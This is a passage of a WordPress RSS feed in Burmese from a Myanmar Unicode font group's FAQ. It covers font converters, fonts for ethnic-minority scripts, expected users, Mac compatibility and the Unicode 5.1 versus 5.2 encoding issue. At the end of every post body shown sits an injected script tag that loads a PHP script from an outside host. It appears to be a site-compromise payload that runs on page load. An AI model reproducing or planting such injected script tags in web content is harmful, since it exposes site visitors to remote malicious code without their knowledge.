			<content:encoded><![CDATA[<p>ေဇာ်ဂျီ၊ ြမန်မာ ၁၊ ယူနီကုဒ် ၅.၁ စာလံုးများ၊ ဝင်းဗားမိစ်၊ ဝင်းအင်းဝ၊ ဘီအိုင်တီ (BIT) ေဖာင့်ေတွကို အခက်အခဲ မရှိ အြပည့်အဝ ေြပာင်းလဲေပးနိုင်တဲ့ Ayar Text Tools ေခါ် font converter တမျိုးကို ဧရာ ဝဘ်ဆိုဒ်မှာ တင်ေပးဖို့ ရှိပါတယ်။ ေလာေလာဆယ်မှာ Myanmar Text Tool ဆိုတာကို တင်ထား ေပးပါတယ်။ Ayar Text Tools ေခါ် font converter ထဲမှာဆိုရင် ေဒတာေဘ့စ်ေတွ အြပင်၊ အက္ခရာစဉ်ြခင်း၊ ဝဏ္ဏြဖတ်ြခင်းများ အတွက်ပါ သံုးစွဲတဲ့ ပရိုဂရမ်တခုကို ဧရာြမန်မာ ယူနီကုဒ် အတွက် အခမဲ့ ေဝငှ ေပးထားပါတယ်။ ဒါနဲ့ ပတ်သက်တဲ့ အေြကာင်းအရာကို ေရးသားထားတဲ့ အင်တာနက် စာမျက်နှာလိပ်စာ (link) အတိအကျ ကေတာ့ http://www.ayarunicodegroup.org/faq/myanmar-text-tools-convertor/#more-212 ြဖစ်ပါတယ်။<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/ayar-font-convertor-for-all/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ဧရာြမန်မာ ယူနီကုဒ်မှာ တိုင်းရင်းသား စာေပေတွ အတွက်လဲ ပါဝင်တယ်လို့ သိရပါတယ်။ တိုင်းရင်းသား စာေပေတွနဲ့ ပတ်သက်တဲ့ အချက်အလက် ေတွကို ေြပာြပေပးပါလား ?</title>
		<link>http://www.ayarunicodegroup.org/faq/ayar-include-burmese-enthics-for-all-font-can-you-tell-me/</link>
		<comments>http://www.ayarunicodegroup.org/faq/ayar-include-burmese-enthics-for-all-font-can-you-tell-me/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 07:51:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=706</guid>
		<description><![CDATA[ြမန်မာ တိုင်းရင်းသား စာလံုးေတွကိုလည်း Unicode Standard 5.2 ကို အေြခခံြပီး ဧရာြမန်မာ ယူနီကုဒ် အဖွဲ့က ဖန်တီး ေနပါတယ်။ ေလာေလာဆယ်မှာ ကရင် စာေပအတွက် (စေကာ ကရင်၊ အေရှ့ ပိုးကရင်၊ အေနာက် ပိုးကရင်စာ) ေတွ အတွက် ဖန်တီး ေပးထားခဲ့ြပီး ြဖစ်ပါတယ်။ တချို့ တိုင်းရင်းသား ယူနီကုဒ် စာလံုးေတွဟာ စမ်းသပ်တဲ့ အဆင့်တခုကို ေရာက်ေနြပီမို့ မြကာခင်မှာပဲ ဧရာဝဘ်ဆိုဒ်က တဆင့် သံုးစွဲသူေတွ လက်ထဲကို ြဖန့်ချီေပးနိုင် ေတာ့မှာပါ။ တိုင်းရင်းသား စာေပ အတွက်ကိုလည်း အေကာင်းဆံုး ြဖစ်ေအာင် ေသေသချာချာ သုေတသနြပုြပီး သက်ဆိုင်ရာ စာေပနယ်က ပုဂ္ဂိုလ်ေတွ၊ ဘာသာေဗဒ ပညာရှင်ေတွ နဲ့ တိုင်ပင်ေလ့လာ [...]]]></description>
			<content:encoded><![CDATA[<p>ြမန်မာ တိုင်းရင်းသား စာလံုးေတွကိုလည်း Unicode Standard 5.2 ကို အေြခခံြပီး ဧရာြမန်မာ ယူနီကုဒ် အဖွဲ့က ဖန်တီး ေနပါတယ်။ ေလာေလာဆယ်မှာ ကရင် စာေပအတွက် (စေကာ ကရင်၊ အေရှ့ ပိုးကရင်၊ အေနာက် ပိုးကရင်စာ) ေတွ အတွက် ဖန်တီး ေပးထားခဲ့ြပီး ြဖစ်ပါတယ်။ တချို့ တိုင်းရင်းသား ယူနီကုဒ် စာလံုးေတွဟာ စမ်းသပ်တဲ့ အဆင့်တခုကို ေရာက်ေနြပီမို့ မြကာခင်မှာပဲ ဧရာဝဘ်ဆိုဒ်က တဆင့် သံုးစွဲသူေတွ လက်ထဲကို ြဖန့်ချီေပးနိုင် ေတာ့မှာပါ။ တိုင်းရင်းသား စာေပ အတွက်ကိုလည်း အေကာင်းဆံုး ြဖစ်ေအာင် ေသေသချာချာ သုေတသနြပုြပီး သက်ဆိုင်ရာ စာေပနယ်က ပုဂ္ဂိုလ်ေတွ၊ ဘာသာေဗဒ ပညာရှင်ေတွ နဲ့ တိုင်ပင်ေလ့လာ လုပ်ေဆာင်လျှက် ရှိေနပါတယ်။ တိုင်းရင်းသား စာေပေတွနဲ့ ပတ်သက်တဲ့ စာလံုးေြပာင်း ပရိုဂရမ် font converter ေတွကိုလည်း လိုအပ်ချက်ေတွ အေပါ် အေြခခံြပီး၊ ြကိုးပမ်း ေပးသွားဖို့ ရှိပါတယ်။<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/ayar-include-burmese-enthics-for-all-font-can-you-tell-me/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ဧရာြမန်မာ ယူနီကုဒ် ကို ဘယ်သူေတွကို အတွက် ေမျှာ်မှန်း ထားခဲ့ပါသလဲ။ လက်ရှိမှာေရာ ဘယ်သူေတွ စတင် သံုးစွဲေနြပီလို့ ေြပာလို့ ရပါသလဲ ? ၊ ဘယ်သူေတွ အတွက် အသံုးကျမယ်လို့ ေမျှာ်လင့်ပါလဲ ?</title>
		<link>http://www.ayarunicodegroup.org/faq/who-start-to-using-ayar-unicode-font-and-installer/</link>
		<comments>http://www.ayarunicodegroup.org/faq/who-start-to-using-ayar-unicode-font-and-installer/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 07:48:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=703</guid>
		<description><![CDATA[ဧရာ ဝဘ်ဆိုဒ်က တဆင့် ေဖာင့်ေတွ၊ Keyboard ေတွနဲ့ လက်ကွက်ေတွကို download လုပ်ြကတဲ့ လူအေရအတွက် စာရင်းကို http://code.google.com/p/ayarunicode/downloads/list?q=label:im နဲ့ http://code.google.com/p/ayarunicode/downloads/list?q=label:ttf မှာ ေတွ့နိုင်ပါတယ်။ သို့ေသာ် ဒါဟာ download လုပ်ြကတဲ့ အေရအတွက် စာရင်းသာ ြဖစ်ြပီး ဘယ်လို ပုဂ္ဂိုလ်မျိုးေတွက ဘယ်လို ရည်ရွယ်ချက်နဲ့ သံုးစွဲမယ် ဆိုတာကိုေတာ့ မှတ်တမ်း တင်ထားနိုင်တာ မရှိလို့ အတိအကျ ေြပာနိုင်မှာ မဟုတ်ပါဘူး။ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွဟာ ပံုမှန် ကွန်ြပူတာ စာရိုက်ရာမှာ ြဖစ်ေစ၊ ပံုနှိပ်လုပ်ငန်း အတွက် သံုးစွဲရာမှာ ြဖစ်ေစ၊ အင်တာနက်ေပါ်မှာ ြဖစ်ေစ၊ အမှားအယွင်း မရှိပဲ အလွယ်တကူ သံုးစွဲနိုင်တာေြကာင့် ေကျာင်းသားေတွနဲ့ ရံုးလုပ်ငန်း လုပ်ကိုင်သူေတွ၊ [...]]]></description>
			<content:encoded><![CDATA[<p>ဧရာ ဝဘ်ဆိုဒ်က တဆင့် ေဖာင့်ေတွ၊ Keyboard ေတွနဲ့ လက်ကွက်ေတွကို download လုပ်ြကတဲ့ လူအေရအတွက် စာရင်းကို http://code.google.com/p/ayarunicode/downloads/list?q=label:im နဲ့ http://code.google.com/p/ayarunicode/downloads/list?q=label:ttf မှာ ေတွ့နိုင်ပါတယ်။ သို့ေသာ် ဒါဟာ download လုပ်ြကတဲ့ အေရအတွက် စာရင်းသာ ြဖစ်ြပီး ဘယ်လို ပုဂ္ဂိုလ်မျိုးေတွက ဘယ်လို ရည်ရွယ်ချက်နဲ့ သံုးစွဲမယ် ဆိုတာကိုေတာ့ မှတ်တမ်း တင်ထားနိုင်တာ မရှိလို့ အတိအကျ ေြပာနိုင်မှာ မဟုတ်ပါဘူး။</p>
<p>ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွဟာ ပံုမှန် ကွန်ြပူတာ စာရိုက်ရာမှာ ြဖစ်ေစ၊ ပံုနှိပ်လုပ်ငန်း အတွက် သံုးစွဲရာမှာ ြဖစ်ေစ၊ အင်တာနက်ေပါ်မှာ ြဖစ်ေစ၊ အမှားအယွင်း မရှိပဲ အလွယ်တကူ သံုးစွဲနိုင်တာေြကာင့် ေကျာင်းသားေတွနဲ့ ရံုးလုပ်ငန်း လုပ်ကိုင်သူေတွ၊ ကွန်ြပူတာ စာစီစာရိုက် လုပ်ငန်း လုပ်ကိုင်သူေတွနဲ့ ဂရပ်ဖစ် ဒီဇိုင်း ပညာရှင်ေတွ အြပင် အင်တာနက် သံုးစွဲြကသူ ေတွပါ တစထက် တစ တိုးြမှင့် သံုးစွဲလာြကလိမ့်မယ်လို့ ဧရာြမန်မာ ယူနီကုဒ် အဖွဲ့က ခန့်မှန်းပါတယ်။ ဒါကလည်း ြမန်မာစာနဲ့ တိုင်းရင်းသား စာလံုးေတွကို ေရးသား သံုးစွဲြကသူေတွ အားလံုးနဲ့ အကျံုးဝင်တာမို့ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွကို သူတို့ အားလံုးအတွက် ရည်ရွယ် ဖန်တီးထားတာလို့ ေြပာနိုင်ပါတယ်။<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/who-start-to-using-ayar-unicode-font-and-installer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft မဟုတ်ဘဲ Mac ေခါ် မက်ကင်ေတာ့ရှ် တို့ လင်းနတ်တို့ မှာေရာသံုးလို့ ရပါသလား ?</title>
		<link>http://www.ayarunicodegroup.org/faq/microsoft-mac-for-all-user-with-ayar/</link>
		<comments>http://www.ayarunicodegroup.org/faq/microsoft-mac-for-all-user-with-ayar/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 07:46:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=701</guid>
		<description><![CDATA[Mac မှာ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွကို အသံုးြပုတဲ့ အခါ Adobe အုပ်စုဝင် application ေတွြဖစ်ြကတဲ့ Photoshop, InDesign နဲ့ Illustrator တို့ကလွဲလို့ တြခား application ေတွမှာ ligature ြပဿနာေတွ ရှိေနဆဲ ြဖစ်ပါတယ်။ Mac မှာသံုးတဲ့ Internet browser ေတွမှာလည်း ligature ြပဿနာေတွ ရှိေန ပါေသးတယ်။ ဒါေပမယ့်လည်း Mac Internet browser ေတွမှာ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွကို သံုးမယ်ဆိုရင် Safari သံုးတာက Firefox သံုးတာထက် ပိုြပီး အဆင်ေြပပါတယ်။ Mac application ေတွနဲ့ browser ေတွ အားလံုးမှာ ဧရာြမန်မာ ယူနီကုဒ [...]]]></description>
			<content:encoded><![CDATA[<p>Mac မှာ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွကို အသံုးြပုတဲ့ အခါ Adobe အုပ်စုဝင် application ေတွြဖစ်ြကတဲ့ Photoshop, InDesign နဲ့ Illustrator တို့ကလွဲလို့ တြခား application ေတွမှာ ligature ြပဿနာေတွ ရှိေနဆဲ ြဖစ်ပါတယ်။ Mac မှာသံုးတဲ့ Internet browser ေတွမှာလည်း ligature ြပဿနာေတွ ရှိေန ပါေသးတယ်။ ဒါေပမယ့်လည်း Mac Internet browser ေတွမှာ ဧရာြမန်မာ ယူနီကုဒ် စာလံုးေတွကို သံုးမယ်ဆိုရင် Safari သံုးတာက Firefox သံုးတာထက် ပိုြပီး အဆင်ေြပပါတယ်။ Mac application ေတွနဲ့ browser ေတွ အားလံုးမှာ ဧရာြမန်မာ ယူနီကုဒ ်စာလံုးေတွကို အခုထက် ပိုြပီး အဆင်ေြပေြပ သံုးနိုင်ေအာင် ဧရာယူနီ ကုဒ် အဖွဲ့က ဆက်လက် ြကိုးပမ်းေနပါတယ်။<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/microsoft-mac-for-all-user-with-ayar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unicode Standard 5.2 က ဘာလို့များ Unicode Standard 5.1 နဲ့ မတူဘဲ ေ&#8211; နဲ့ ြ&#8211; က ေရှ့ေရာက်သွားတာလဲ ဆိုတာ ရှင်းြပ ေပးပါလား ?</title>
		<link>http://www.ayarunicodegroup.org/faq/what-is-unicode-5-1-and-5-2-difference/</link>
		<comments>http://www.ayarunicodegroup.org/faq/what-is-unicode-5-1-and-5-2-difference/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 07:45:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[အေမး / အေြဖ]]></category>

		<guid isPermaLink="false">http://www.ayarunicodegroup.org/?p=698</guid>
		<description><![CDATA[သေဝထိုးနဲ့ ယရစ်ကို ကမ္ဘာသံုး အက္ခရာဇယား (Universal Character Set) အတွင်း ေနရာချတဲ့ ကိစ္စမှာ Unicode 5.2 နဲ့ Unicode 5.1 က ကွာြခားမှု မရှိပါဘူး။ တကယ်ေတာ့ သေဝထိုးနဲ့ ယရစ် ကိစ္စဟာ Unicode Standard version ကွာြခားမှုနဲ့ မသက်ဆိုင်ပဲ encoding system ကိစ္စနဲ့သာ သက်ဆိုင်ပါတယ်။ ယူနီကုဒ် အဖွဲ့ (Unicode Consortium) က ေလာေလာဆယ် အတည်ြပုထားတဲ့ ြမန်မာစာ ေရးထံုး ဖွဲ့စည်းမှု စံနစ် (Myanmar Character Encoding System) ထဲက သေဝထိုးနဲ့ ယရစ် တွဲဖက် ေရးထံုးကို application အများစုက အသိအမှတ် မြပုြကပါဘူး။ [...]]]></description>
			<content:encoded><![CDATA[<p>သေဝထိုးနဲ့ ယရစ်ကို ကမ္ဘာသံုး အက္ခရာဇယား (Universal Character Set) အတွင်း ေနရာချတဲ့ ကိစ္စမှာ Unicode 5.2 နဲ့ Unicode 5.1 က ကွာြခားမှု မရှိပါဘူး။ တကယ်ေတာ့ သေဝထိုးနဲ့ ယရစ် ကိစ္စဟာ Unicode Standard version ကွာြခားမှုနဲ့ မသက်ဆိုင်ပဲ encoding system ကိစ္စနဲ့သာ သက်ဆိုင်ပါတယ်။ ယူနီကုဒ် အဖွဲ့ (Unicode Consortium) က ေလာေလာဆယ် အတည်ြပုထားတဲ့ ြမန်မာစာ ေရးထံုး ဖွဲ့စည်းမှု စံနစ် (Myanmar Character Encoding System) ထဲက သေဝထိုးနဲ့ ယရစ် တွဲဖက် ေရးထံုးကို application အများစုက အသိအမှတ် မြပုြကပါဘူး။ ဒါေြကာင့် သေဝထိုးနဲ့ ယရစ် ေနရာလွဲတဲ့ ြပဿနာဟာ ြမန်မာယူနီကုဒ် စာလံုး စံနစ်တိုင်းမှာ ြကံုေတွ့ ေနရတဲ့ ြပဿနာ ြဖစ်ပါတယ်။ ဒီ encoding ြပဿနာကို application ေတွက ေြဖရှင်း မေပးသေရွ့ သေဝထိုးနဲ့ ယရစ် ြပဿနာ ရှိေနဦးမှာ ြဖစ်ပါတယ်။ ဒီြပဿနာကို ြမန်မာ ယူနီကုဒ် စာလံုး ဖန်တီးသူေတွက ေြဖရှင်းေပးလို့ မရတဲ့ အြပင်၊ ဒီြပဿနာ ေြပလည်သွားတဲ့ အထိ ြမန်မာ ယူနီကုဒ် စာလံုးေတွကို ပိုမို ေကာင်းမွန်ေအာင် ထပ်မေရးပဲ ထိုင်ေစာင့်ေနဖို့ ဆိုတာလည်း မြဖစ်သင့်ပါဘူး။ ဒါေြကာင့် ဒီြပဿနာကို ချွင်းချက်တခု အြဖစ် လက်ခံြပီး ဧရာယူနီကုဒ် စာလံုးေတွကို ဖန်တီးခဲ့တာ ြဖစ်ပါတယ်။</p>
<p>တကယ်ေတာ့ ဒီလို encoding ြပဿနာမျိုးကို အေရှ့တိုင်းက စာေရးထံုး စံနစ် အများစု &#8211; ဥပမာ အိန္ဒိယြပည်သံုး ေဒဝနာဂရီ (Devanagari) နဲ့ တရုတ်၊ ဂျပန်၊ ကိုရီးယား စာေရးနည်း စံနစ်ေတွမှာ ြကံုေနရဆဲ ြဖစ်ပါတယ်။ အကယ်၍ Unicode Consortium က ေလာေလာဆယ် အတည်ြပုထားတဲ့ ြမန်မာစာ ေရးထံုး စံနစ်ထဲက သေဝထိုးနဲ့ ယရစ် တွဲဖက် ေရးထံုးကို ြပင်ဆင်ေပဖို့ ြမန်မာ ယူနီကုဒ် အဖွဲ့ေတွက တညီတညွတ်တည်း ေတာင်းဆိုနိုင်မယ် ဆိုရင်ေတာ့ ဒီြပဿနာကို ေရှာင်လွှဲေကာင်း ေရှာင်လွှဲနိုင်ပါလိမ့်မယ်။ ဘာပဲေြပာေြပာ ြမန်မာ လက်နှိပ်စက် စံနစ်ကို အေြခခံတဲ့ ဧရာြမန်မာ ယူနီကုဒ် ေရးထံုးဟာ သေဝထိုးနဲ့ ယရစ် တွဲဖက်ေရးထံုး ကလွဲလို့ ယူနီကုဒ်အဖွဲ့ (Unicode Consortium) က အတည်ြပု ထားတဲ့ ြမန်မာစာ ေရးထံုးမူနဲ့ တထပ်တည်း ကျတဲ့အတွက် သိပ်ြကီးမားတဲ့ ြပဿနာ မဟုတ်ဘူးလို့ ဆိုနိုင်ပါတယ်။<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ayarunicodegroup.org/faq/what-is-unicode-5-1-and-5-2-difference/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.454 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-02-06 12:32:31 -->

